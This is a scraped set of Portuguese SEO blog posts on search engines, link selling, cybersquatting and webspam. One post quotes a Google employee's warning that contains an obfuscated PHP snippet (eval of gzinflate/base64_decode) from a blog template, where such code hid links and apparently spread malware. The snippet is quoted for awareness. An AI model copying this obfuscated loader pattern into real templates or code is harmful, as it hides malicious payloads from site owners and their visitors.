É simples: pega-se numa dessas listas que se vende por umas dezenas de euros e filtra-se os emails que possam corresponder a bloggers e outros autores da rede com alguma influência. Como o fazer? Não o diria se o soubesse, e estou certo que haveria muitos falsos positivos, mas há certamente uma imensa clientela sem escrúpulos disposta a pagar um premium por um produto desta natureza.

Nota: Se a ironia lhe passou ao lado, esta entrada está categorizada em humor. Não tenho qualquer simpatia por quem vende, compra ou usa spam, nem pretendo contribuir para o seu pecúlio.
A entrada destina-se a apontar alguns dos custos associados ao envio de email em massa: reputação, links, credibilidade…

Publicado em Marketing de Busca e Optimização para Motores de Busca

Oportunidade de negócio: listas de email spam premium

E o Quaero, por onde anda o motor de busca europeu? Chama-se Exalead e da última vez que deu sinal de si liderava a corrida dos motores de busca alternativos.

Apesar do peso dos números a esperança dos que prefeririam um mercado mais diverso vem do leste: o Yandex é líder na Rússia e este é um dos mercados de maior crescimento.

Uma nota curiosa: os portugueses são os segundos que mais buscas fazem na Europa, com 128 buscas por navegante - para uma média europeia de 111. Somos inquisitivos ou racionamos os computadores?

Publicado em Marketing de Busca e Optimização para Motores de Busca

Ainda se lembram do Quaero?

Poderá então uma multinacional de directórios para empresas argumentar com um acordo de colaboração existente com o motor de busca Google? Pelos vistos pode e fá-lo com à vontade. A não ser, claro, que o Google faça qualquer coisa para o impedir.
Um qualquer pequeno empresário seria imediatamente apagado dos SERPs mal se atrevesse a conquistar alguma atenção. Será a mão do Google igualmente severa com uma multinacional?

A forma como o Google gerir este tipo de situações será crucial para a sua credibilidade na luta anti-webspam. O Google não pode sugerir a pequenos empresários (tópico de discussão no Google Groups que linkei ontem) que contactem todos os bloggers «enganados» para remover os seus links de rodapé dos temas e ao mesmo tempo tolerar a HP a distribuir temas de blog com links embebidos. Ainda por cima os links são ofuscados para que não possam ser facilmente removidos. Como escrevia um empregado do Google na citada discussão:

It looks like you have made some good progress with regards to those
links. However, I’m still seeing templates being distributed with
them; not only that, the links are disguised in a way that the average
webmaster cannot find them. For example, one template I was
looking at contained the following as “footer.php” (with spaces
added):

<?php $Lb7c75a7d0c13508a6d47965db04098bb=’pVRbb5swFH6vt
P9w5GltKjVAsoeuDXG0Zav6WLVT94iMOYAlsJntBLXqj5+BEIVcqmnz
iy/n8n3n4rOgoWVxgVCLxOZzMgmCTwRipRPUcxIQ4FgUpmJcyGx7r1i
StPcpoR/OAEKr2705JZCjyHI7J9c3hJ7L2FSz0LdJp+hvNI9bTG8cdM
ZVoRz2xyCZ8M/XhIaJWAMvmDFzcqeURU0odMatg4qGxmolMxrGvdeNK
FXSQu/vrl0EjHhFFyiBlHF3eEadMMmu4KsWrLiCeyzWaAV3L4ZJMzao
RUroUlUvuqEJuwjn3D3PYBoEX2A8kIQLiAuVCZmq0YVkJV5czmAxoDe
GB1WjxgTil9BvuNKO8b8xHMIzyDWmc5JbW936fl3XHivZqytb7YpbaT
TG5lii8bgqCT2aKvrLqT40qgPfP1u7nrHPThi7+JbKtdEt9KpHONUY5
8pYT+nMwWE8ALp3Ekf4HQgfvqMRmXQ5/Nbn8Gjsa8aZFUpqZIV96WJ+
3rwNMB9RWlaYFrOPsG8vv6LDvvuPam1Jhosqr3Z6RRszjVa66PrlVGV
+SKsFml3mo8enp8udqhxvf/p2kKZ9Bi45pcuCif6OynKj/h4X7wSZDh
p5riBDG8lVGf1eYRPZ6OC7bATe8Jc19laUqCNjVTWaHJgZ5Eomxtuya
bdDJ3UVpe102UfeLXvou2G0d9ufbm5rJmoX29kf’;eval(gzinflate
(base64_decode($Lb7c75a7d0c13508a6d47965db04098bb))); ?>
Personally, I think having footer links are fine if they are relevant
to the site or template and nofollow’ed. However, hiding them in this
style is - in my opinion - not ok at all. Just this week I helped a
friend with his template: it had a block of code similar to this in
it. It turned out that not only was it hiding links, it was also
spreading malware. It really upsets me to find code like this in a
template: it shows that whoever made the template not only knew the
contents were not ok, but also wanted to prevent the user from finding
or editing it.

When submitting a reconsideration request, it’s always good to make
sure that as much as possible is cleaned up and detailed in your
report (including potential paid links in other forms).

Eu compreendo que empresas e indivíduos diferentes requeiram tratamentos diferentes dos motores de busca. O que não é aceitável é a flagrante dualidade de critérios, sujeita a eventuais interesses comerciais. Vou porém aguardar antes de julgar: a bola está ainda nas mãos do Google.

Publicado em Marketing de Busca e Optimização para Motores de Busca

O Google faz acordos para inclusão no seu índice?

Há muito que se sabe que sites e páginas podem ser penalizados por ligarem para sites de spam, malware ou simplesmente vender links. Nesta discussão (via) um googler alerta para templates que distribuem links de rodapé, escondidos e até para sites de malware, muitas vezes disfarçados.
Muitas das vezes o Google o Google tolera a presença de alguns destes links porque assume o webmaster e blogger como inocente - apenas parte dos bloggers estão familiarizados com lado menos claro do SEO.

A recomendação é para linkar para sites que contribuem para enriquecer a experiência dos nossos visitantes. Da mesma forma que os nossos visitantes apreciam recomendações de visita que acrescentam valor à sua navegação também os motores de busca valorizam bons links externos.

Publicado em Marketing de Busca e Optimização para Motores de Busca

Cuidados com links externos

Acontece que o site (www.ferreiraleite.com) não é de Manuela Ferreira Leite: se os anúncios e banners não fossem pista suficiente, a leitura de artigos como “Agostinho Branquinho anuncia apoio a Pedro Passos Coelho“, raspados de sites de informação deveria tirar quaisquer dúvidas aos que conhecem os meandros da internet.

Este não é um caso único, vários outros domínios foram registados em nome dos candidatos às directas do PSD por diversas pessoas, algumas das quais com direitos legítimos.

Destaco o caso desta página porque o squatter já terá conseguido links suficientes de bloggers equivocados para justificar o investimento. Pelo caminho cometeu três erros que provavelmente vão passar impunes mas lhe poderiam custar caro:

- Em vez de esperar pelo equívoco, o proprietário promoveu activamente o site como sendo da candidatura no mesmo dia em que o registou. Este comentário foi colocado no Blasfémias às 10 da manhã do dia em que o domínio foi registado. No comentário o autor, “Frit”, promove o site como sendo da candidatura. Chama-se a isto fraude e vem no código penal…

- O site é alimentado por artigos copiados de orgãos de informação. O que acima citei foi colhido no Público. As fontes são citadas, mas sem link. Usar artigos de terceiros para alimentar páginas de publicidade é ilegal; sugerir ou dar a entender que a candidata o possa a estar a fazer constitui dolo.

- Não é lá muito inteligente usar links afiliados com o nosso nome de utilizador e muito menos se revelam a nossa identidade (que é omissa no site ou no whois):
hostmonster.com/track/ruidamasio/XPTO

Registar domínios com nomes de personalidades públicas é uma prática questionável mas habitual lá fora. Em Portugal o mercado é bastante mais pequeno e duvido que haja espaço para mais do que 2 ou 3 destes domínios. É também uma questão sensível por questões culturais: é o nosso nome e muitos reagem emocionalmente ao vê-lo registado por terceiros. Não quero com isso dizer que vão a correr pagar um resgate de dezenas ou centenas de euros para o comprar. Pelo contrário, os euros vão mais depressa parar aos bolsos de advogados…

Publicado em Marketing de Busca e Optimização para Motores de Busca

Como não fazer cybersquatting

Este fim de semana, após algumas leituras interessantes, dei por mim a questionar a minha própria definição, e estou ainda no processo de assentar ideias. Optimizar para os motores de busca é hoje, para mim, um conceito mais abrangente do que o era há uma semana atrás.

Antes de avançar com a minha perspectiva vou recorrer à sabedoria das multidões: desafio os leitores do Marketing de Busca a contribuirem com as suas próprias opiniões.

O que entende por optimização para motores de busca? Como é que a optimização entra no seu trabalho, no dia a dia ou nos seus tempos livre (alô bloggers). Tem-na por uma bênção ou como uma maldição? Uma tentação? Preferiria que os motores de busca fossem indiferentes à optimização?

Convido-o a partilhar as suas respostas no espaço dos comentários ou no seu próprio blog. Na próxima semana citarei aqui as respostas, as quais desde já agradeço.

Publicado em Marketing de Busca e Optimização para Motores de Busca

Definições de Optimização para Motores de Busca

Nas páginas interiores os anúncios que surgem são de facto classificados, não os que se vêem acima. O único propósito destes links é o de influenciar os algoritmos dos motores de busca.

Confiariam os leitores da revista nas escolhas e julgamentos dos jornalistas da The Economist se a soubessem “trying to game the system” (sic)? Pela parte que me toca, não deixarei de a apreciar por causa desta “ofensa”, e a verdade é que Mais de 99,9% dos seus leitores jamais se aperceberão sequer da transacção.

Um casamento perfeito…
…até o Google os separar.

Os custos para Economist.com são relativamente baixos: um pequeno arranhão na sua reputação e possível perda de algum tráfego dos motores de busca, derivado de algum ajustamento manual por parte do Google . O site continuará a aparecer nos resultados porque o Google não se atreve a bani-lo, como fez em tempos com outras marcas conhecidas.

De acordo com os comentários, os compradores tiraram proveito nos resultados de busca - até o inevitável acontecer e o ardil ser desmascarado. Transacções desta natureza são necessariamente de muito curto prazo: requerem um site vendedor com grande autoridade (e visibilidade) e compradores em sectores sem grande moralidade - onde “toda a gente que é gente” compra links.

Este jogo do gato e do rato vai continuar se o Google não fizer tomar uma atitude mais firme, mais cedo ou mais tarde.

Vendes Links?

Volta e meia chega-me à caixa de correio mensagens de interessados. A minha resposta é sim, vendo links. Links com camisinha e informação aos leitores.

Obviamente que vender links aqui para influenciar os motores de busca seria uma tolice. Não o digo por causa dos delatores interessados em ver este site fora dos SERPs, das visitas que regularmente chegam dos escritórios do Google ;), ou por quaisquer considerações sobre a nobreza ou justeza desta actividade.

Digo-o por causa da reputação do blog, porque sempre aqui tenho defendido técnicas de posicionamento sustentáveis no presente e no futuro, e porque abordo o SEO como forma de criação de valor para todas as partes envolvidas. E aceitar links pagos com impacto a prazo (porque indistintos de outros links nas entradas) seria defraudar os leitores e todos aqueles que fizeram ou farão recomendações de leitura para o Marketing de Busca.

Publicado em Marketing de Busca e Optimização para Motores de Busca

A venda de links chega ao The Economist